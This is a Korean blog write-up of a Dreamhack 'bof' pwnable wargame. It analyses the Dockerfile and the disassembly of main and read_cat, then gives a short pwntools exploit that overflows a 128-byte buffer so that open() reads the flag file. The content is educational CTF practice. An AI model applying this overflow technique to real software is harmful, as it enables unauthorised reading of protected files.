문제 : https://dreamhack.io/wargame/challenges/1111
문제 파일을 받으면
이렇게 파일이 존재한다.
딱히 소스코드가 없기 때문에 디버거로 분석해야할 것으로 보임
실행파일이 bof일 것으로 추정되기 때문에, 리눅스에서 실행 권한 변경해서 bof를 실행해줬다.
실행 파일 찾기
도커 파일을 열어보면 해당 빌드 정보가 들어가 있다.
FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f
ENV user bof
ENV chall_port 31337
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/cat /home/$user/cat
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/cat
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 440 /home/$user/cat
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 60 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
이를 통해서 bof가 실행파일임을 알 수 있음
[ Docker file 자세한 분석 ]
1. 베이스 이미지
FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f
- ubuntu:22.04를 기반으로 SHA256해시를 기반으로 만들어짐
2. 환경변수
ENV user bof
ENV chall_port 31337
- user은 bof이고 포트는 31337로 지정됨
3. 필요한 패키지
RUN apt-get update
RUN apt-get -y install socat
4. 사용자 추가
RUN adduser $user
환경변수에 설정된 이름을 추가함 → bof를 추가
5. 파일 추가
ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/cat /home/$user/cat
6. 파일 소유권 및 권한 설정
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/cat
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 440 /home/$user/cat
Code Anaylsis
main
pwndbg> disassem main
Dump of assembler code for function main:
0x0000000000401391 <+0>: endbr64
0x0000000000401395 <+4>: push rbp
0x0000000000401396 <+5>: mov rbp,rsp
0x0000000000401399 <+8>: sub rsp,0x90
0x00000000004013a0 <+15>: mov eax,0x0
0x00000000004013a5 <+20>: call 0x40132c <init>
0x00000000004013aa <+25>: lea rax,[rbp-0x10]
0x00000000004013ae <+29>: mov DWORD PTR [rax],0x61632f2e
0x00000000004013b4 <+35>: mov WORD PTR [rax+0x4],0x74
0x00000000004013ba <+41>: lea rax,[rip+0xc6c] # 0x40202d
0x00000000004013c1 <+48>: mov rdi,rax
0x00000000004013c4 <+51>: mov eax,0x0
0x00000000004013c9 <+56>: call 0x4010d0 <printf@plt>
0x00000000004013ce <+61>: lea rax,[rbp-0x90]
0x00000000004013d5 <+68>: mov rsi,rax
0x00000000004013d8 <+71>: lea rax,[rip+0xc55] # 0x402034
0x00000000004013df <+78>: mov rdi,rax
0x00000000004013e2 <+81>: mov eax,0x0
0x00000000004013e7 <+86>: call 0x401130 <__isoc99_scanf@plt>
0x00000000004013ec <+91>: lea rax,[rbp-0x10]
0x00000000004013f0 <+95>: mov rdi,rax
0x00000000004013f3 <+98>: call 0x401236 <read_cat>
0x00000000004013f8 <+103>: lea rax,[rbp-0x90]
0x00000000004013ff <+110>: mov rsi,rax
0x0000000000401402 <+113>: lea rax,[rip+0xc31] # 0x40203a
0x0000000000401409 <+120>: mov rdi,rax
0x000000000040140c <+123>: mov eax,0x0
0x0000000000401411 <+128>: call 0x4010d0 <printf@plt>
0x0000000000401416 <+133>: mov eax,0x0
0x000000000040141b <+138>: leave
0x000000000040141c <+139>: ret
End of assembler dump.
- init 함수 호출
- <+56> meow? 출력
- <+86> scanf 받음
- read cat 함수 호출
- <+128> printf : 입력받은 것을 mewo, 입력값 :) 으로 출력
read_cat
pwndbg> disassem read_cat
Dump of assembler code for function read_cat:
0x0000000000401236 <+0>: endbr64
0x000000000040123a <+4>: push rbp
0x000000000040123b <+5>: mov rbp,rsp
0x000000000040123e <+8>: sub rsp,0xa0
0x0000000000401245 <+15>: mov QWORD PTR [rbp-0x98],rdi
0x000000000040124c <+22>: lea rax,[rbp-0x90]
0x0000000000401253 <+29>: mov edx,0x80
0x0000000000401258 <+34>: mov esi,0x0
0x000000000040125d <+39>: mov rdi,rax
0x0000000000401260 <+42>: call 0x4010e0 <memset@plt>
0x0000000000401265 <+47>: mov DWORD PTR [rbp-0x4],0x0
0x000000000040126c <+54>: mov rax,QWORD PTR [rbp-0x98]
0x0000000000401273 <+61>: mov esi,0x0
0x0000000000401278 <+66>: mov rdi,rax
0x000000000040127b <+69>: mov eax,0x0
0x0000000000401280 <+74>: call 0x401120 <open@plt>
0x0000000000401285 <+79>: mov DWORD PTR [rbp-0x4],eax
0x0000000000401288 <+82>: cmp DWORD PTR [rbp-0x4],0xffffffff
0x000000000040128c <+86>: jne 0x4012a7 <read_cat+113>
0x000000000040128e <+88>: lea rax,[rip+0xd6f] # 0x402004
0x0000000000401295 <+95>: mov rdi,rax
0x0000000000401298 <+98>: call 0x4010c0 <puts@plt>
0x000000000040129d <+103>: mov edi,0x1
0x00000000004012a2 <+108>: call 0x401140 <exit@plt>
0x00000000004012a7 <+113>: lea rcx,[rbp-0x90]
0x00000000004012ae <+120>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004012b1 <+123>: mov edx,0x80
0x00000000004012b6 <+128>: mov rsi,rcx
0x00000000004012b9 <+131>: mov edi,eax
0x00000000004012bb <+133>: call 0x401100 <read@plt>
0x00000000004012c0 <+138>: mov QWORD PTR [rbp-0x10],rax
0x00000000004012c4 <+142>: cmp QWORD PTR [rbp-0x10],0xffffffffffffffff
0x00000000004012c9 <+147>: jne 0x4012e4 <read_cat+174>
0x00000000004012cb <+149>: lea rax,[rip+0xd3f] # 0x402011
0x00000000004012d2 <+156>: mov rdi,rax
0x00000000004012d5 <+159>: call 0x4010c0 <puts@plt>
0x00000000004012da <+164>: mov edi,0x1
0x00000000004012df <+169>: call 0x401140 <exit@plt>
0x00000000004012e4 <+174>: lea rax,[rip+0xd33] # 0x40201e
0x00000000004012eb <+181>: mov rdi,rax
0x00000000004012ee <+184>: call 0x4010c0 <puts@plt>
0x00000000004012f3 <+189>: lea rax,[rbp-0x90]
0x00000000004012fa <+196>: mov rdi,rax
0x00000000004012fd <+199>: call 0x4010c0 <puts@plt>
0x0000000000401302 <+204>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401305 <+207>: mov edi,eax
0x0000000000401307 <+209>: call 0x4010f0 <close@plt>
0x000000000040130c <+214>: test eax,eax
0x000000000040130e <+216>: je 0x401329 <read_cat+243>
0x0000000000401310 <+218>: lea rax,[rip+0xd08] # 0x40201f
0x0000000000401317 <+225>: mov rdi,rax
0x000000000040131a <+228>: call 0x4010c0 <puts@plt>
0x000000000040131f <+233>: mov edi,0x1
0x0000000000401324 <+238>: call 0x401140 <exit@plt>
0x0000000000401329 <+243>: nop
0x000000000040132a <+244>: leave
0x000000000040132b <+245>: ret
- memset 함수를 이용해 128바이트를 0으로 초기화시킴 (rbp - 0x90부터 버퍼가 시작하는 것으로 추정)
- open 함수 호출
- 파일에서 read 함수 실행
- 메세지와 함께 읽은 내용 출력 (puts)
Trigger
open() 에러 발생
Exploit Scenario
버퍼를 꽉 채운 후, 그 뒤에 flag의 위치를 입력해주면 open의 인자값으로 들어가면서 해당 플래그를 얻을 수 있을 것으로 추정됨
버퍼의 크기는 128바이트
Exploit
from pwn import *
p = remote("host1.dreamhack.games", 14536)
payload = b'a' * 128
payload += b'/home/bof/flag'
p.sendlineafter(b'meow? ', payload)
p.interactive()
피드백
코드 분석
그냥 IDA로 열어서 수도 코드로 봤어도 된다. 어셈블리 분석을 해서 코드를 잘못 이해한 부분이 조금 있었음
open 후 에러가 나면 그대로 종료되므로, read_cat 후의 main 함수는 크게 중요하지 않음
(어쩐지 너무 리버싱스러웠음)
익스플로잇 코드
처음 익스 코드를 짤 때 당연히 little endian 이라는 생각으로 payload의 경로를 반대로 써줬는데, open에서 읽어오는거라 그대로 써줘도 괜찮았다.
'Hacking > Wargame' 카테고리의 다른 글
[Reversing] Reversing Basic Challenge #1 (0) | 2024.07.28 |
---|---|
[Reversing] Reversing Basic Challenge #0 (2) | 2024.07.28 |
[Pwnable] basic_exploitation_001 (0) | 2024.04.03 |
[Cryptography] Textbook-RSA (1) | 2024.02.13 |
[Cryptography] Textbook-DH (1) | 2024.02.13 |